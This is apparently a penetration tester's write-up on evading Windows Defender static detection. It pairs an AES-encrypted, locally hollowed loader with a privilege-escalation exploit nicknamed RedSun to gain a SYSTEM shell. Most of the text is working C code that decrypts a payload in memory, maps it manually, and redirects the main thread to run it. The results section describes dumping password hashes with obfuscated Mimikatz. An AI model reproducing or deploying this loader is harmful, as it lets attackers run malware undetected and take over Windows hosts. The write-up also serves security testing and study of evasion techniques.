Context — What is RedSun?
During a penetration test engagement I exploited CVE-2026-33825, nicknamed RedSun — a Local Privilege Escalation vulnerability in Microsoft Windows Defender's cloud file rollback mechanism. The exploit chain allows a standard authenticated user to escalate directly to NT AUTHORITY\SYSTEM.
The attack abuses three Windows primitives chained together:
- Cloud reputation metadata — Defender triggers a file rollback when it sees a cloud-tagged file.
- NTFS junction + opportunistic lock abuse — the attacker controls where Defender writes during the rollback.
- Storage Tiers COM hijack —
TieringEngineService.exeis substituted with a malicious payload, redirecting the privileged write intoC:\Windows\System32.
Because Defender runs with SYSTEM privileges, the overwritten binary is executed in a fully elevated context — granting a SYSTEM shell from a low-privileged account.
The Problem — Static PE Detection
Static detection operates on the on-disk representation of a PE file. When a known-malicious executable is written:
- The on-access scanner intercepts the file write at the filesystem driver level.
- It matches byte patterns / hashes against a signature database.
- The file is quarantined or deleted before execution ever starts.
No amount of runtime behaviour matters — if the bytes on disk are recognisable, the game is over before it starts. The solution is to ensure no cleartext PE ever touches the filesystem.
The Solution — AES Encryption + Local Hollowing
Local Process Hollowing (self-injection hollowing) replaces the current process's execution context in memory with a secondary payload, entirely without writing a decrypted binary to disk. Combined with AES encryption of the embedded payload, the loader binary contains only ciphertext — zero recognisable signatures.
Implementation
Entry Point — main()
The loader's main is deliberately thin. Its only job is to acquire a real, transferable handle to the main thread and hand it to Doit.
Why duplicate?GetCurrentThread()returns a pseudo-handle — a constant meaningful only within the calling thread. ToSuspendThreadandSetThreadContexton the main thread from a different thread, we need a real kernel handle.DuplicateHandlewithDUPLICATE_SAME_ACCESSproduces one.
int main() {
// GetCurrentThread() returns a pseudo-handle — valid only for the calling thread.
HANDLE pseudoHandle = GetCurrentThread();
HANDLE realHandle;
// Produce a real, transferable handle with identical access rights.
if (!DuplicateHandle(
GetCurrentProcess(), pseudoHandle,
GetCurrentProcess(), &realHandle,
0, FALSE, DUPLICATE_SAME_ACCESS)) {
printf("[-] Failed to duplicate handle.\n");
return 1;
}
// Spawn Doit thread, passing the real main-thread handle.
HANDLE thread = CreateThread(
NULL, 0, (LPTHREAD_START_ROUTINE)Doit, &realHandle, 0, NULL);
// Block until Doit finishes (hollowing complete, main thread resumed).
WaitForSingleObject(thread, INFINITE);
CloseHandle(thread);
CloseHandle(realHandle);
return 0;
}
Step 1 — Suspend the Main Thread
The first action of Doit is to halt the main thread so no further instructions execute while mapping is in progress.
// Received as argument: real handle to main thread
HANDLE mainThreadHandle = *(HANDLE*)lpParam;
SuspendThread(mainThreadHandle);
printf("[+] mainThread suspended\n");
Step 2 — AES Decrypt the Payload
The RedSun PE is stored as an AES-256-CBC encrypted byte array embedded in the loader. Decryption happens entirely in heap memory — nothing is written to disk.
// Embedded ciphertext blob (compiled into the binary as a byte array)
extern const unsigned char encPayload[];
extern const size_t encPayloadLen;
BYTE aesKey[32] = { /* 256-bit key */ };
BYTE aesIV[16] = { /* 128-bit IV */ };
BYTE* decBuf = NULL;
size_t decLen = 0;
AES_CBC_Decrypt(encPayload, encPayloadLen, aesKey, aesIV, &decBuf, &decLen);
printf("[+] mimi decrypted\n");
Steps 3–6 — Manual PE Mapping
decBuf now holds a valid PE image in heap memory. We manually map it at a freshly allocated virtual address.
// Read PE metadata
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)decBuf;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(decBuf + dos->e_lfanew);
printf("[+] The PE file is valid.\n");
printf("[+] PE data : 0x%016llX\n", (ULONG_PTR)decBuf);
// Allocate virtual memory for the mapped image
LPVOID imageBase = VirtualAlloc(
(LPVOID)nt->OptionalHeader.ImageBase, // preferred base
nt->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
// Fall back to any address if preferred base is occupied
if (!imageBase)
imageBase = VirtualAlloc(NULL, nt->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// ── Map headers ──
memcpy(imageBase, decBuf, nt->OptionalHeader.SizeOfHeaders);
// ── Map sections ──
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
LPVOID dst = (LPVOID)((ULONG_PTR)imageBase + sec->VirtualAddress);
LPVOID src = (LPVOID)((ULONG_PTR)decBuf + sec->PointerToRawData);
memcpy(dst, src, sec->SizeOfRawData);
}
// ── Apply base relocations ──
ULONG_PTR delta = (ULONG_PTR)imageBase - nt->OptionalHeader.ImageBase;
if (delta != 0) {
PIMAGE_DATA_DIRECTORY relDir =
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
PIMAGE_BASE_RELOCATION reloc =
(PIMAGE_BASE_RELOCATION)((ULONG_PTR)imageBase + relDir->VirtualAddress);
while (reloc->VirtualAddress) {
WORD* entry = (WORD*)(reloc + 1);
DWORD count = (reloc->SizeOfBlock - sizeof(*reloc)) / sizeof(WORD);
for (DWORD j = 0; j < count; j++) {
if ((entry[j] >> 12) == IMAGE_REL_BASED_DIR64) {
ULONG_PTR* patch = (ULONG_PTR*)(
(ULONG_PTR)imageBase + reloc->VirtualAddress + (entry[j] & 0xFFF));
*patch += delta;
}
}
reloc = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)reloc + reloc->SizeOfBlock);
}
}
// ── Resolve imports (IAT) ──
PIMAGE_DATA_DIRECTORY impDir =
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
PIMAGE_IMPORT_DESCRIPTOR imp =
(PIMAGE_IMPORT_DESCRIPTOR)((ULONG_PTR)imageBase + impDir->VirtualAddress);
while (imp->Name) {
LPCSTR dllName = (LPCSTR)((ULONG_PTR)imageBase + imp->Name);
HMODULE lib = LoadLibraryA(dllName);
PIMAGE_THUNK_DATA thunk =
(PIMAGE_THUNK_DATA)((ULONG_PTR)imageBase + imp->FirstThunk);
while (thunk->u1.AddressOfData) {
if (!(thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)) {
PIMAGE_IMPORT_BY_NAME ibn =
(PIMAGE_IMPORT_BY_NAME)((ULONG_PTR)imageBase + thunk->u1.AddressOfData);
thunk->u1.Function = (ULONG_PTR)GetProcAddress(lib, ibn->Name);
} else {
thunk->u1.Function =
(ULONG_PTR)GetProcAddress(lib, (LPCSTR)(thunk->u1.Ordinal & 0xFFFF));
}
thunk++;
}
imp++;
}
Step 7 — Redirect Entry Point & Resume
With the image fully mapped and imports resolved, we redirect the suspended main thread's instruction pointer to the payload's entry point, then resume it.
// Redirect main thread instruction pointer to the mapped EP
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(mainThreadHandle, &ctx);
ULONG_PTR ep = (ULONG_PTR)imageBase + nt->OptionalHeader.AddressOfEntryPoint;
ctx.Rcx = ep; // first argument (RCX convention on x64)
ctx.Rip = ep; // instruction pointer
SetThreadContext(mainThreadHandle, &ctx);
// Resume — main thread now executes RedSun entry point
ResumeThread(mainThreadHandle);
printf("[+] Delay time ...\n");
printf("The sun is shinning...\n");
printf("The red sun shall prevail.\n");
Execution Flow Summary
| # | Function | Purpose |
|---|---|---|
| 1 | DuplicateHandle() | Convert pseudo-handle → real transferable handle to main thread |
| 2 | CreateThread(Doit) | Spawn hollowing worker; main thread calls WaitForSingleObject |
| 3 | SuspendThread() | Halt main thread; no instructions execute during mapping |
| 4 | AES_CBC_Decrypt() | Decrypt embedded ciphertext → valid PE image, heap only |
| 5 | VirtualAlloc() | Allocate RWX region sized by SizeOfImage |
| 6 | memcpy() × N | Map PE headers + each section at their respective Virtual Addresses |
| 7 | Relocation loop | Patch all absolute addresses by delta = actual − preferred |
| 8 | LoadLibrary / GetProcAddress | Resolve every imported function; write real addresses into IAT |
| 9 | SetThreadContext() | Overwrite RIP with imageBase + AddressOfEntryPoint |
| 10 | ResumeThread() | Main thread resumes; executes RedSun EP as the loader's identity |
Result
The loader (HarryPotter.exe) was delivered to the target host. On execution:
- The AES-encrypted payload was decrypted in heap memory — no cleartext PE ever written to disk.
- Windows Defender detected the EICAR test file used as bait, triggering the cloud rollback mechanism as the exploit intends.
- A new
conhost.exeshell was spawned as NT AUTHORITY\SYSTEM (S-1-5-18). - Local password hashes were extracted from the SYSTEM shell using an obfuscated Mimikatz build, confirming full host compromise.
Key Takeaways
- Static detection is signature-driven against the on-disk PE representation. AES ciphertext has no matchable pattern.
- Local Hollowing keeps the decrypted payload entirely in memory — no temp files, no disk writes of the plaintext PE.
- Manual PE mapping is foundational: DOS/NT headers, section table, relocation directory, and IAT are the four structures you must fully understand.
- The
DuplicateHandle → SuspendThread → SetThreadContext → ResumeThreadpattern is a clean in-process redirect that avoids spawning any detectable child process. - The technique works precisely because Defender's own remediation write is the privilege vector — the loader simply needs to survive long enough to trigger it.
References
- RedSun PoC — github.com/Nightmare-Eclipse/RedSun
- MSRC — CVE-2026-33825
- Picus Security — BlueHammer & RedSun Explained
- MITRE ATT&CK — T1055: Process Injection
- MITRE ATT&CK — T1574: Hijack Execution Flow
- MITRE ATT&CK — T1548: Abuse Elevation Control Mechanism
- Microsoft — PE Format Reference
- Certified Evasion Techniques Professional (CETP)